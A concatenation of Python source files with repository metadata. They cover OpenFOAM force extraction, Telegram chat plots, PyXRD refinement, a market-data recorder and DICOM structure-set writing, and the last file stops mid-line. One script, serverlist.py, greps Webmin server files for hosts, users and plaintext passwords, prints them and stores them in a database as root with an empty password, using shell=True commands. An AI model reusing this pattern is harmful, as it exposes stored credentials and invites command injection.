pyFoam/extractForces.py

mjsauvinen/P4US

ba7bbc77a6e482f612ba5aa5f021a41fcbb23345

[ "MIT" ]

8

2018-07-10T12:00:49.000Z

2021-09-16T13:58:59.000Z

pyFoam/extractForces.py

mjsauvinen/P4US

ba7bbc77a6e482f612ba5aa5f021a41fcbb23345

[ "MIT" ]

6

2019-05-03T07:29:12.000Z

2022-01-21T03:10:27.000Z

#!/usr/bin/env python3 # -*- coding: utf-8 -*- import sys import numpy as np import pylab as pl from txtTools import openIOFile # =*=*=*=* FUNCTION DEFINITIONS *=*=*=*=*=*=*=*=*=*=*=* def isolateValues( line , stripChars ): v = [] sl = line.split() for i in xrange(len(sl)): for sc in stripChars: sl[i] = sl[i].strip(sc) for s in sl: v.append(float(s)) return v # =*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* try: factor = sys.argv[1] except: factor = 1. factor = float(factor) f = openIOFile('forces.dat', 'r') oc = openIOFile('forces.cmp', 'w') ot = openIOFile('forces.tot', 'w') lines = f.readlines() spr = ['(',')'] Fx = np.zeros(4,float) for l in lines[1:]: x = np.array(isolateValues(l,spr)) if( len(x) == 13 ): x.tofile(oc,sep=" \t"); oc.write("\n") Fx[0] = x[0] for i in xrange(1,len(Fx)): Fx[i]=factor*(x[i]+x[i+3]) # Pressure + Viscous Fx.tofile(ot, sep=" \t"); ot.write("\n") f.close(); oc.close(); ot.close()

20.489796

55

0.531873

150

1,004

3.56

0.48

0.089888

0.022472

0.044944

0

0.014907

0.198207

1,004

49

56

20.489796

0.648447

0.168327

0

0.054152

0

1

0.030303

false

0

0.121212

0

0.181818

0

null

0

null

0

1

0

b5742eb898932211cf75e05e216d0c94c86949cb

418

py

Python

examples/select.py

GBS3/cues

09bce776f9275b71a4028e5c59103e45d81ebed6

[ "MIT" ]

1

2021-09-13T02:29:43.000Z

examples/select.py

giosali/cues

09bce776f9275b71a4028e5c59103e45d81ebed6

[ "MIT" ]

null

examples/select.py

giosali/cues

09bce776f9275b71a4028e5c59103e45d81ebed6

[ "MIT" ]

1

2021-05-26T04:35:47.000Z

""" examples.select =============== An example that demonstrates the Select child class. """ from cues.cues import Select def main(): name = 'programming_language' message = 'Which of these is your favorite programming language?' options = ['Python', 'JavaScript', 'C++', 'C#'] cue = Select(name, message, options) answer = cue.send() print(answer) if __name__ == '__main__': main()

18.173913

69

0.629187

48

418

5.291667

0.6875

0.149606

0

0.205742

418

22

70

19

0.76506

0.203349

0

0.313846

0

1

0.1

false

0

0.1

0

0.2

0.1

0

null

0

null

0

1

0

b57f76841f0c85c583ef9797290a21bbf823a12e

2,212

py

Python

model_metadata/utils.py

csdms/model_metadata

62acab7ae2a152bec64bc1f52751f7a8aa1d4184

[ "MIT" ]

1

2021-05-25T14:38:10.000Z

model_metadata/utils.py

csdms/model_metadata

62acab7ae2a152bec64bc1f52751f7a8aa1d4184

[ "MIT" ]

3

2018-04-05T21:50:24.000Z

2021-04-02T03:54:04.000Z

model_metadata/utils.py

csdms/model_metadata

62acab7ae2a152bec64bc1f52751f7a8aa1d4184

[ "MIT" ]

null

#! /usr/bin/env python import os import sys from .api import install as install_mmd def model_data_dir(name, datarootdir=None): """Get a model's data dir. Parameters ---------- name : str The name of the model. Returns ------- str The absolute path to the data directory for the model. """ datarootdir = datarootdir or os.path.join(sys.prefix, "share") return os.path.join(datarootdir, "csdms", name) def get_cmdclass(paths, cmdclass=None): cmdclass = {} if cmdclass is None else cmdclass.copy() if "setuptools" in sys.modules: from setuptools.command.develop import develop as _develop from setuptools.command.install import install as _install else: from distutils.command.develop import develop as _develop from distutils.command.install import install as _install sharedir = os.path.join(sys.prefix, "share") class install(_install): def run(self): _install.run(self) for name, path in paths: name = name.split(":")[-1] install_mmd( os.path.abspath(path), os.path.join(sharedir, "csdms", name), silent=False, clobber=True, develop=False, ) class develop(_develop): def run(self): _develop.run(self) for name, path in paths: name = name.split(":")[-1] install_mmd( os.path.abspath(path), os.path.join(sharedir, "csdms", name), silent=False, clobber=True, develop=True, ) cmdclass["install"] = install cmdclass["develop"] = develop return cmdclass def get_entry_points(components, entry_points=None): entry_points = {} if entry_points is None else entry_points pymt_plugins = entry_points.get("pymt.plugins", []) for entry_point, _ in components: pymt_plugins.append(entry_point) if len(pymt_plugins) > 0: entry_points["pymt.plugins"] = pymt_plugins return entry_points

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null

0

null

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1

0

b582e5842d21e445f1825c2debc8042c425aedda

8,060

py

Python

solution/serverlist.py

ksh0165/lhms

8848a74ac5c0f309e3ab28583af4bd574575ab8a

[ "Apache-2.0" ]

null

solution/serverlist.py

ksh0165/lhms

8848a74ac5c0f309e3ab28583af4bd574575ab8a

[ "Apache-2.0" ]

null

solution/serverlist.py

ksh0165/lhms

8848a74ac5c0f309e3ab28583af4bd574575ab8a

[ "Apache-2.0" ]

null

#!/usr/bin/python3 import os import subprocess import re import pymysql from datetime import datetime strPath = r"/etc/webmin/servers";# file dir files = os.listdir(strPath) lists = [];# file lists host = []; user = []; pwd = []; val = 0;# extractServer use test = "";# grep host test1 = "";# grep user test2 = "";# grep pass test3 = "";# Text = remove test5 = "";# Text /n remove test7 = "";# Text1 ' remove test9 = "";# Text1 /n remove #retry = "";# fail use filename show : no use cnt1 = 0;# array file wc total count filelenlist = [];# files wc total list filelentotallist = ""; #files wc total list make word and reset finallist = []; # after less 11 rows romeve then finally list lenlist = []; fcnt = [];# length 11 less count list frows = 0;# length 11 less count hs = "";# host us = "";# user ps = "";# pass rows = 0;# file wc -l row = 0;# file wc -l count = 0;# total file count for 11 less count servers = ""; #total = [];# value total : no use ########################################################################################## # FUNCTION ########################################################################################## def extractServer(server): val = server.index('.') result = server[:val] return str(result).replace('[]','').replace('[', '').replace(']', '').replace("'",'') def extractText1(text1): #result = re.findall(r'^=[0-9]+(?:\.[0-9]+)', text) result = re.findall(r'\d+',str(text1)) return str(result).replace('[]','').replace('[', '').replace(']', '').replace("'",'') #def extractFile(file): # result = re.search(r'.*[.].*$', file) # return str(result).replace('[]','').replace('[', '').replace(']', '').replace("'",'') def extractIp(ip): result = re.findall(r'[0-9]+(?:\.[0-9]+){3}', ip) return str(result).replace('[]','').replace('[', '').replace(']', '').replace("'",'') #regex1 = re.compile(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$') def extractText(text): #result = re.findall(r'^=[0-9]+(?:\.[0-9]+)', text) test3 = text.index('=') test5 = text.index('\n') result = text[test3+1:test5] return str(result).replace('[]','').replace('[', '').replace(']', '').replace("'",'') print("files = %s" % files) servs = [file for file in files if file.endswith(".serv")] cnt = 0; now1 = datetime.now() now = now1.strftime("%Y")+now1.strftime("%m")+now1.strftime("%d") print("now = %s" %now); print("servs = %s" % servs); print("servs len = %s" % len(servs)); db = pymysql.connect(host='172.20.0.3', port=3306, user='root', passwd='', db='hms',charset='utf8',autocommit=True) cursor = db.cursor() ########################################################################################## # SERVER LIST PASING & MARIADB INSERT ########################################################################################## for serve in servs: print("==================================================="); print("start row 11 less count check servs = %s : " % servs); print("start row 11 less count check serve = %s : " % serve); print("==================================================="); print("now count = %s :" % count); lenlist.append(serve) print("all lenlist count = %s :" % lenlist); cnt2 = subprocess.check_output('cat /etc/webmin/servers/%s | wc -l' % lenlist[count],shell=True) cnt1 = extractText1(cnt2) filelenlist.append(cnt1) print("now filelenlist = %s :" % filelenlist[count]); #print("filelenlist.split() = %s : " % " ".join(filelenlist[count])); #for y in range(filelenlist): ##filelenlist[count] ##for fll in filelenlist: print("filelenlist[%d] = %s :" % (count, filelenlist)); ## print("len(filelenlist) = %s :" % len(filelenlist)); #print("now fll = %s :" % fll); #fl = fll.split(",") filelentotallist = filelenlist[count] print("now filelentotallist = %s :" % filelentotallist); if filelentotallist == '11': if count < len(servs): #count = count + 1; print("11 length ! pass ~~"); else: fcnt.append(serve) print(" no 11 length find ~~~ add value in fcnt + 1 = %s :" % count); if count < len(servs): #count = count + 1; filelentotallist = ""; count = count + 1; print("==================================================="); print("end row count = %s :" % count); print("fcnt = %s :" % fcnt); print("==================================================="); frows = len(fcnt) print("frows = %s:" % frows); ########################################################################################## # frows : less 11 rows -> craete new array and input filename and remove it ########################################################################################## for removes in fcnt: servs.remove(removes) print(" alter remove less 11 rows servs = %s :" % servs); try: with cursor: sql_d = "DELETE FROM tests" cursor.execute(sql_d) db.commit() for serv in servs: lists.append(serv) print("-----------------------------------------------------"); print("lists[cnt] = %s cnt = %d : " % (lists[cnt], cnt)); rows = subprocess.check_output('cat /etc/webmin/servers/%s | wc -l' % lists[cnt],shell=True) row = extractText1(rows) print("-----------------------------------------------------"); print("row = %s cnt = %d : " % (row, cnt)); print("-----------------------------------------------------"); servers = extractServer(serv) #total.append(servers) print("fname = %s" % servers); if row == "11": test = subprocess.check_output('cat /etc/webmin/servers/%s | grep host' % lists[cnt],shell=True) test1 = subprocess.check_output('cat /etc/webmin/servers/%s | grep user' % lists[cnt],shell=True) test2 = subprocess.check_output('cat /etc/webmin/servers/%s | grep pass' % lists[cnt],shell=True) hs = extractIp(test.decode('utf-8')) host.append(hs) print("host =%s" % host[cnt]); print("host[%d] =%s" % (cnt,host[cnt])); #total.append(hs) us = extractText(test1.decode('utf-8')) user.append(us) print("user =%s" % user[cnt]); print("user[%d] =%s" % (cnt,user[cnt])); #total.append(us) ps = extractText(test2.decode('utf-8')) pwd.append(ps) print("pwd =%s" %pwd[cnt]); print("pwd[%d] =%s" % (cnt,pwd[cnt])); #total.append(ps) #cursor.execute("INSERT INTO tests(fname,host,user,pwd,inputdt) VALUES (%s,%s,%s,%s,%s)" % (servers,host[cnt],user[cnt],pwd[cnt],now)) sql = "INSERT INTO `tests` (`fname`,`host`,`user`,`pwd`,`inputdt`) VALUES (%s,%s,%s,%s,%s)" #for i in servs: cursor.execute(sql, (servers,host[cnt],user[cnt],pwd[cnt],now)) data = cursor.fetchall() db.commit() if cnt < len(servs): cnt = cnt+1; else: #print("cnt = %d:" % cnt); #retry = servs[cnt] #print("retry = %s : " % retry); #if cnt < len(servs)-1: # cnt = cnt; # print("cnt = %d , cnt < len(servs):" % cnt); # print("lists[cnt] = %s cnt = %d : " % (lists[cnt], cnt)); # continue pass #else: # cnt = cnt; # print("cnt = %d , cnt = len(servs): " % cnt); # print("lists[cnt] = %s cnt = %d : " % (lists[cnt], cnt)); # continue # pass finally: db.close() print("servs = %s" % servs) print("The currnt directory is: %s" % strPath)

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0.458561

863

8,060

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0.202781

0.056926

0.029818

0.278124

0.261317

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0.149092

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0

0.017614

0.25335

8,060

190

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0

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0

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0.230173

0.093937

0

1

0.02963

false

0.02963

0.037037

0

0.096296

0.259259

0

null

0

null

0

1

0

b58403121af69cb7645522d11585b8ed10c27038

579

py

Python

algorithms/tree_level_width.py

danielhgasparin/algorithms-python

4b27c3cddd22762599fe55d3b760f388733c4fa7

[ "MIT" ]

null

algorithms/tree_level_width.py

danielhgasparin/algorithms-python

4b27c3cddd22762599fe55d3b760f388733c4fa7

[ "MIT" ]

null

algorithms/tree_level_width.py

danielhgasparin/algorithms-python

4b27c3cddd22762599fe55d3b760f388733c4fa7

[ "MIT" ]

null

"""Tree level width module.""" from collections import deque def tree_level_width(tree): """Return a list containing the width of each level of the specified tree.""" result = [] count = 0 queue = deque([tree.root, "s"]) while len(queue) > 0: node = queue.popleft() if node == "s": if(count == 0): break else: result.append(count) count = 0 queue.append("s") else: count += 1 queue.extend(node.children) return result

26.318182

81

0.504318

66

579

4.393939

0.515152

0.062069

0.096552

0

0.014006

0.38342

579

22

82

26.318182

0.798319

0.165803

0

0.222222

0

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0

1

0.055556

false

0

0.055556

0

0.166667

0

null

0

null

0

1

0

b58c5490649547fd191436f9730cc2a2c51f3b00

3,619

py

Python

src/utils.py

Flantropy/TelegramChatAnalyzer

88e879fa771361d47292721ff8adfd82a74e9b93

[ "MIT" ]

null

src/utils.py

Flantropy/TelegramChatAnalyzer

88e879fa771361d47292721ff8adfd82a74e9b93

[ "MIT" ]

null

src/utils.py

Flantropy/TelegramChatAnalyzer

88e879fa771361d47292721ff8adfd82a74e9b93

[ "MIT" ]

null

import json import logging from io import BytesIO from typing import List from typing import Optional import matplotlib.pyplot as plt import pandas as pd import seaborn as sns from telegram import InputMediaPhoto def __convert_plot_to_telegram_photo(plot) -> InputMediaPhoto: with BytesIO() as buffer: plot.figure.savefig(buffer) plot.clear() photo = InputMediaPhoto(buffer.getvalue()) return photo def _unpack_telegram_document(update) -> dict: """ This function retrieves JSON representation of a chat history from given telegram.Update """ document = update.message.document.get_file() chat_file = BytesIO(document.download_as_bytearray()) chat_json = json.load(chat_file) return chat_json def _form_data_frame_from_json(chat_json) -> Optional[pd.DataFrame]: try: messages_df = pd.DataFrame( chat_json['messages'], columns=['id', 'type', 'date', 'from', 'text', 'media_type']) except KeyError as e: logging.getLogger().error( msg=f'Unable to form DataFrame from json. ' f'Key "messages" not found. {e}' ) return else: messages_df.set_index('id', inplace=True) messages_df['date'] = pd.to_datetime(messages_df['date']) return messages_df def _make_barplot(messages_df: pd.DataFrame) -> InputMediaPhoto: """ :param messages_df: DataFrame with user messaging history :return: telegram.InputMediaPhoto """ messages_per_month = messages_df['date'] \ .groupby(messages_df['date'].dt.to_period('M')) \ .agg('count') plot = sns.barplot( x=messages_per_month.index, y=messages_per_month.values, color=(0.44, 0.35, 0.95) ) plt.xticks(rotation=45) plt.title('All time history') return __convert_plot_to_telegram_photo(plot) def _make_kde_plot(messages_df: pd.DataFrame) -> InputMediaPhoto: plot = sns.kdeplot( x=messages_df['date'], hue=messages_df['from'], shade=True ) plt.title('Activity by user') plt.xticks(rotation=45) plt.xlabel('') return __convert_plot_to_telegram_photo(plot) def _make_media_distribution_bar_plot(messages_df: pd.DataFrame) -> Optional[InputMediaPhoto]: logging.getLogger().info('Enter media dist function') media_dist_df = messages_df[['from', 'media_type']].value_counts() if media_dist_df.empty: return media_dist_plot = media_dist_df.unstack().plot( kind='bar', stacked=True, ylabel='Media messages', xlabel='User' ) plt.xticks(rotation=0) plt.title('Distribution of media messages') return __convert_plot_to_telegram_photo(media_dist_plot) def _make_weekday_distribution_bar_plot(messages_df: pd.DataFrame) -> InputMediaPhoto: dist_by_day_of_week = messages_df['from']\ .groupby(messages_df['date'].dt.weekday)\ .agg('value_counts') plot = dist_by_day_of_week.unstack().plot(kind='bar') plt.xlabel('') plt.ylabel('Messages') plt.xticks( list(range(7)), ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'], rotation=0 ) return __convert_plot_to_telegram_photo(plot) def make_plots(messages_df: pd.DataFrame) -> List[InputMediaPhoto]: sns.set_theme(context='paper') photo_list = [ _make_barplot(messages_df), _make_media_distribution_bar_plot(messages_df), _make_kde_plot(messages_df), _make_weekday_distribution_bar_plot(messages_df), ] return [p for p in photo_list if p is not None]

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0.05616

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0

0.290323

0

null

0

null

0

1

0

b58c5890c2ea7e046b469064a62ceb8bea1ea212

2,215

py

Python

pyxrd/calculations/improve.py

PyXRD/pyxrd

26bacdf64f3153fa74b8caa62e219b76d91a55c1

[ "BSD-2-Clause" ]

27

2018-06-15T15:28:18.000Z

2022-03-10T12:23:50.000Z

pyxrd/calculations/improve.py

PyXRD/pyxrd

26bacdf64f3153fa74b8caa62e219b76d91a55c1

[ "BSD-2-Clause" ]

22

2018-06-14T08:29:16.000Z

2021-07-05T13:33:44.000Z

pyxrd/calculations/improve.py

PyXRD/pyxrd

26bacdf64f3153fa74b8caa62e219b76d91a55c1

[ "BSD-2-Clause" ]

8

2019-04-13T13:03:51.000Z

2021-06-19T09:29:11.000Z

# coding=UTF-8 # ex:ts=4:sw=4:et=on # Copyright (c) 2013, Mathijs Dumon # All rights reserved. # Complete license can be found in the LICENSE file. from io import StringIO from scipy.optimize import fmin_l_bfgs_b from .exceptions import wrap_exceptions def setup_project(projectf): from pyxrd.file_parsers.json_parser import JSONParser from pyxrd.project.models import Project type(Project).object_pool.clear() f = StringIO(projectf) project = JSONParser.parse(f) f.close() return project @wrap_exceptions def run_refinement(projectf, mixture_index): """ Runs a refinement setup for - projectf: project data - mixture_index: what mixture in the project to use """ if projectf is not None: from pyxrd.data import settings settings.initialize() # Retrieve project and mixture: project = setup_project(projectf) del projectf import gc gc.collect() mixture = project.mixtures[mixture_index] mixture.refinement.update_refinement_treestore() refiner = mixture.refinement.get_refiner() refiner.refine() return list(refiner.history.best_solution), refiner.history.best_residual @wrap_exceptions def improve_solution(projectf, mixture_index, solution, residual, l_bfgs_b_kwargs={}): if projectf is not None: from pyxrd.data import settings settings.initialize() # Retrieve project and mixture: project = setup_project(projectf) del projectf mixture = project.mixtures[mixture_index] with mixture.data_changed.ignore(): # Setup context again: mixture.update_refinement_treestore() refiner = mixture.refinement.get_refiner() # Refine solution vals = fmin_l_bfgs_b( refiner.get_residual, solution, approx_grad=True, bounds=refiner.ranges, **l_bfgs_b_kwargs ) new_solution, new_residual = tuple(vals[0:2]) # Return result return new_solution, new_residual else: return solution, residual

27.012195

86

0.648307

254

2,215

5.484252

0.42126

0.043073

0.017229

0.014358

0.315865

0.26705

0.18234

0

0.005643

0.27991

2,215

81

87

27.345679

0.867712

0.163883

0

0.340426

0

1

0.06383

false

0

0.170213

0

0.319149

0

null

0

null

0

1

0

b58ccbfff32cc054d600f5f7877ef4514f099933

931

py

Python

enforceTH.py

Multivalence/enforceTypeHint

fb87fd48baa525044516ddbdf2160128e03fb7b7

[ "MIT" ]

null

enforceTH.py

Multivalence/enforceTypeHint

fb87fd48baa525044516ddbdf2160128e03fb7b7

[ "MIT" ]

null

enforceTH.py

Multivalence/enforceTypeHint

fb87fd48baa525044516ddbdf2160128e03fb7b7

[ "MIT" ]

1

2020-12-16T18:34:19.000Z

import functools def enforceType(func): @functools.wraps(func) def wrapper(*args): wrapper.has_been_called = True x = func.__annotations__ t = [x[i] for i in x if i != 'return'] if len(args) != len(t): raise TypeError("Missing required positional arguments and/or annotations.") for i in range(len(t)): if not isinstance(args[i],t[i]): raise ValueError(f"Invalid literal for {t[i]}: {args[i]}") try: ReturnValue = x['return'] except KeyError: raise TypeError("Missing required return value annotation.") try: RV = func(*args) except Exception as e: raise Exception(e) ReturnValue = type(ReturnValue) if ReturnValue == None else ReturnValue if not isinstance(RV, ReturnValue): raise SyntaxWarning(f"Expected function to return {ReturnValue}. Got {type(RV)} instead.") return RV wrapper.has_been_called = False return wrapper

23.275

94

0.664876

124

931

4.927419

0.451613

0.032733

0.045827

0.065466

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931

39

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0.192308

0

null

0

null

0

1

0

b591052db3d50aa3c4ca4b5f6cbba2c5ca1708a6

3,239

py

Python

examples/DataRecording/runDataRecording.py

mumuwoyou/pytrader

6b94e0c8ecbc3ef238cf31715acf8474b9d26b4a

[ "MIT" ]

4

2019-03-14T05:30:59.000Z

2021-11-21T20:05:22.000Z

examples/DataRecording/runDataRecording.py

mumuwoyou/pytrader

6b94e0c8ecbc3ef238cf31715acf8474b9d26b4a

[ "MIT" ]

null

examples/DataRecording/runDataRecording.py

mumuwoyou/pytrader

6b94e0c8ecbc3ef238cf31715acf8474b9d26b4a

[ "MIT" ]

4

2019-02-14T14:30:46.000Z

2021-01-05T09:46:19.000Z

# encoding: UTF-8 from __future__ import print_function import sys try: reload(sys) # Python 2 sys.setdefaultencoding('utf8') except NameError: pass # Python 3 import multiprocessing from time import sleep from datetime import datetime, time from cyvn.trader.vtEvent import EVENT_LOG, EVENT_RECORDER_DAY,EVENT_ERROR from cyvn.trader.eventEngine import EventEngine2, Event from cyvn.trader.vtEngine import MainEngine, LogEngine from cyvn.trader.gateway.CtpGateway import ctpGateway from cyvn.trader.app import dataRecorder #---------------------------------------------------------------------- def processErrorEvent(event): """ 处理错误事件错误信息在每次登陆后，会将当日所有已产生的均推送一遍，所以不适合写入日志 """ error = event.dict_['data'] print(u'错误代码：%s，错误信息：%s' %(error.errorID, error.errorMsg)) #---------------------------------------------------------------------- def runChildProcess(): """子进程运行函数""" print('-'*20) # 创建日志引擎 le = LogEngine() le.setLogLevel(le.LEVEL_INFO) le.addConsoleHandler() le.info(u'启动行情记录运行子进程') ee = EventEngine2() le.info(u'事件引擎创建成功') me = MainEngine(ee) me.addGateway('CTP') me.addApp(dataRecorder) le.info(u'主引擎创建成功') ee.register(EVENT_LOG, le.processLogEvent) ee.register(EVENT_ERROR, processErrorEvent) le.info(u'注册日志事件监听') me.connect('CTP') le.info(u'连接CTP接口') has_recorder_day = False while True: sleep(1) if has_recorder_day == False: time_now = datetime.now() if time_now.time().hour ==15 and time_now.time().minute > 5: event1 = Event(type_=EVENT_RECORDER_DAY) ee.put(event1) has_recorder_day = True #---------------------------------------------------------------------- def runParentProcess(): """父进程运行函数""" # 创建日志引擎 le = LogEngine() le.setLogLevel(le.LEVEL_INFO) le.addConsoleHandler() le.info(u'启动行情记录守护父进程') DAY_START = time(8, 57) # 日盘启动和停止时间 DAY_END = time(15, 18) NIGHT_START = time(20, 57) # 夜盘启动和停止时间 NIGHT_END = time(2, 33) p = None # 子进程句柄 while True: currentTime = datetime.now().time() recording = False # 判断当前处于的时间段 if ((currentTime >= DAY_START and currentTime <= DAY_END) or (currentTime >= NIGHT_START) or (currentTime <= NIGHT_END)): recording = True # 过滤周末时间段：周六全天，周五夜盘，周日日盘 if ((datetime.today().weekday() == 6) or (datetime.today().weekday() == 5 and currentTime > NIGHT_END) or (datetime.today().weekday() == 0 and currentTime < DAY_START)): recording = False # 记录时间则需要启动子进程 if recording and p is None: le.info(u'启动子进程') p = multiprocessing.Process(target=runChildProcess) p.start() le.info(u'子进程启动成功') # 非记录时间则退出子进程 if not recording and p is not None: le.info(u'关闭子进程') p.terminate() p.join() p = None le.info(u'子进程关闭成功') sleep(5) if __name__ == '__main__': #runChildProcess() runParentProcess()

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null

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0

b593abbfc1101fb51b4b3e49fd3161d9712060e7

12,779

py

Python

sitk_rtss_io.py

Auto-segmentation-in-Radiation-Oncology/Chapter-3

307330c848c7ddb650353484e18fa9bc7903f737

[ "BSD-3-Clause" ]

1

2020-06-28T01:57:46.000Z

sitk_rtss_io.py

Auto-segmentation-in-Radiation-Oncology/Chapter-12

307330c848c7ddb650353484e18fa9bc7903f737

[ "BSD-3-Clause" ]

null

sitk_rtss_io.py

Auto-segmentation-in-Radiation-Oncology/Chapter-12

307330c848c7ddb650353484e18fa9bc7903f737

[ "BSD-3-Clause" ]

1

2021-11-15T21:47:17.000Z

from skimage import measure import pydicom from pydicom.dataset import Dataset, FileDataset from pydicom.sequence import Sequence import os import numpy as np import SimpleITK as sITK import time import glob import sitk_ct_io as imio from skimage.draw import polygon # for debugging # import matplotlib.pyplot as plt # import matplotlib.image as mpimg def read_rtss_to_sitk(rtss_file, image_dir, return_names=True, return_image=False): # modified code from xuefeng # http://aapmchallenges.cloudapp.net/forums/3/2/ # # The image directory is required to set the spacing on the label map # read the rtss contours, label_names = read_contours(pydicom.read_file(rtss_file)) # read the ct dcms = [] for subdir, dirs, files in os.walk(image_dir): dcms = glob.glob(os.path.join(subdir, "*.dcm")) slices = [pydicom.read_file(dcm) for dcm in dcms] slices.sort(key=lambda x: float(x.ImagePositionPatient[2])) image = np.stack([s.pixel_array for s in slices], axis=-1) # convert to mask atlas_labels = get_mask(contours, slices, image) atlas_image = imio.read_sitk_image_from_dicom(image_dir) atlas_labels.SetOrigin(atlas_image.GetOrigin()) atlas_labels.SetSpacing(atlas_image.GetSpacing()) if not return_names: return atlas_labels elif not return_image: return atlas_labels, label_names else: return atlas_labels, label_names, atlas_image def write_rtss_from_sitk(labels, label_names, ct_directory, output_filename): # labels is a sITK image volume with integer labels for the objects # assumes 0 for background and consequtive label numbers starting from 1 # corresponding to the label_names # the ct_directory is required to correctly link the UIDs # load ct to get slice UIDs, z-slices and anything else we might need slice_info = {} series_info = {} z_values = [] first_slice = True spacing = [0, 0] origin = [0, 0] with os.scandir(ct_directory) as it: for entry in it: if not entry.name.startswith('.') and entry.is_file(): slice_file = ct_directory + entry.name dicom_info = pydicom.read_file(slice_file) slice_info[str(float(dicom_info.SliceLocation))] = dicom_info.SOPInstanceUID z_values.append(float(dicom_info.SliceLocation)) if first_slice: # get generic information series_info['SOPClassUID'] = dicom_info.SOPClassUID series_info['FrameOfReferenceUID'] = dicom_info.FrameOfReferenceUID series_info['StudyInstanceUID'] = dicom_info.StudyInstanceUID series_info['SeriesInstanceUID'] = dicom_info.SeriesInstanceUID series_info['PatientName'] = dicom_info.PatientName series_info['PatientID'] = dicom_info.PatientID series_info['PatientBirthDate'] = dicom_info.PatientBirthDate series_info['PatientSex'] = dicom_info.PatientSex spacing[0] = float(dicom_info.PixelSpacing[0]) spacing[1] = float(dicom_info.PixelSpacing[1]) origin[0] = float(dicom_info.ImagePositionPatient[0]) origin[1] = float(dicom_info.ImagePositionPatient[1]) # Assuming axial for now first_slice = False z_values = np.sort(z_values) current_time = time.localtime() modification_time = time.strftime("%H%M%S", current_time) modification_time_long = modification_time + '.123456' # madeup modification_date = time.strftime("%Y%m%d", current_time) file_meta = Dataset() file_meta.FileMetaInformationGroupLength = 192 file_meta.MediaStorageSOPClassUID = '1.2.840.10008.5.1.4.1.1.481.3' file_meta.MediaStorageSOPInstanceUID = "1.2.826.0.1.3680043.2.1125." + modification_time + ".3" + modification_date file_meta.ImplementationClassUID = "1.2.3.771212.061203.1" file_meta.TransferSyntaxUID = '1.2.840.10008.1.2' pydicom.dataset.validate_file_meta(file_meta, True) ds = FileDataset(output_filename, {}, file_meta=file_meta, preamble=b"\0" * 128) # Add the data elements ds.PatientName = series_info['PatientName'] ds.PatientID = series_info['PatientID'] ds.PatientBirthDate = series_info['PatientBirthDate'] ds.PatientSex = series_info['PatientSex'] # Set the transfer syntax ds.is_little_endian = True ds.is_implicit_VR = True # Set lots of tags ds.ContentDate = modification_date ds.SpecificCharacterSet = 'ISO_IR 100' # probably not true TODO Check ds.InstanceCreationDate = modification_date ds.InstanceCreationTime = modification_time_long ds.StudyDate = modification_date ds.SeriesDate = modification_date ds.ContentTime = modification_time ds.StudyTime = modification_time_long ds.SeriesTime = modification_time_long ds.AccessionNumber = '' ds.SOPClassUID = '1.2.840.10008.5.1.4.1.1.481.3' # RT Structure Set Stroage ds.SOPInstanceUID = "1.2.826.0.1.3680043.2.1125." + modification_time + ".3" + modification_date ds.Modality = "RTSTRUCT" ds.Manufacturer = "Python software" ds.ManufacturersModelName = 'sitk_rtss_io.py' ds.ReferringPhysiciansName = '' ds.StudyDescription = "" ds.SeriesDescription = "RTSS from SimpleITK data" ds.StudyInstanceUID = series_info['StudyInstanceUID'] ds.SeriesInstanceUID = "1.2.826.0.1.3680043.2.1471." + modification_time + ".4" + modification_date ds.StructureSetLabel = "RTSTRUCT" ds.StructureSetName = '' ds.StructureSetDate = modification_time ds.StructureSetTime = modification_time contour_sequence = Sequence() for slice_z in z_values: contour_data = Dataset() contour_data.ReferencedSOPClassUID = series_info['SOPClassUID'] contour_data.ReferencedSOPInstanceUID = slice_info[str(slice_z)] contour_sequence.append(contour_data) referenced_series = Dataset() referenced_series.SeriesInstanceUID = series_info['SeriesInstanceUID'] referenced_series.ContourImageSequence = contour_sequence referenced_study = Dataset() referenced_study.ReferencedSOPClassUID = '1.2.840.10008.3.1.2.3.2' referenced_study.ReferencedSOPInstanceUID = series_info['StudyInstanceUID'] referenced_study.RTReferencedSeriesSequence = Sequence([referenced_series]) frame_of_ref_data = Dataset() frame_of_ref_data.FrameOfReferenceUID = series_info['FrameOfReferenceUID'] frame_of_ref_data.RTReferencedStudySequence = Sequence([referenced_study]) ds.ReferencedFrameOfReferenceSequence = Sequence([frame_of_ref_data]) roi_sequence = Sequence() roi_observations = Sequence() for label_number in range(0, len(label_names)): roi_data = Dataset() roi_obs = Dataset() roi_data.ROINumber = label_number + 1 roi_obs.ObservationNumber = label_number + 1 roi_obs.ReferencedROINumber = label_number + 1 roi_data.ReferencedFrameOfReferenceUID = series_info['FrameOfReferenceUID'] roi_data.ROIName = label_names[label_number] roi_data.ROIObservationDescription = '' roi_data.ROIGenerationAlgorithm = 'Atlas-based' roi_data.ROIGenerationMethod = 'Python' roi_obs.RTROIInterpretedType = '' roi_obs.ROIInterpreter = '' roi_sequence.append(roi_data) roi_observations.append(roi_obs) ds.StructureSetROISequence = roi_sequence ds.RTROIObservationsSequence = roi_observations # as if that wasn't bad enough, now we have to add the contours! label_data = sITK.GetArrayFromImage(labels) roi_contour_sequence = Sequence() for label_number in range(0, len(label_names)): roi_contour_data = Dataset() roi_contour_data.ROIDisplayColor = '255\\0\\0' roi_contour_data.ReferencedROINumber = label_number + 1 contour_sequence = Sequence() # convert labels to polygons contour_number = 0 for slice_number in range(0, labels.GetSize()[2] - 1): slice_data = label_data[slice_number, :, :] slice_for_label = np.where(slice_data != label_number + 1, 0, slice_data) if np.any(np.isin(slice_for_label, label_number + 1)): contours = measure.find_contours(slice_for_label, (float(label_number + 1) / 2.0)) for contour in contours: # Convert to real world and add z_position # plt.imshow(slice_data) # plt.plot(contour[:, 1], contour[:, 0], color='#ff0000') contour_as_string = '' is_first_point = True for point in contour[:-1]: real_contour = [point[1] * spacing[0] + origin[0], point[0] * spacing[1] + origin[1], z_values[slice_number]] if not is_first_point: contour_as_string = contour_as_string + '\\' else: is_first_point = False contour_as_string = contour_as_string + str(real_contour[0]) + '\\' contour_as_string = contour_as_string + str(real_contour[1]) + '\\' contour_as_string = contour_as_string + str(real_contour[2]) contour_number = contour_number + 1 contour_data = Dataset() contour_data.ContourGeometricType = 'CLOSED_PLANAR' contour_data.NumberOfContourPoints = str(len(contour)) contour_data.ContourNumber = str(contour_number) image_data = Dataset() image_data.ReferencedSOPClassUID = series_info['SOPClassUID'] image_data.ReferencedSOPInstanceUID = 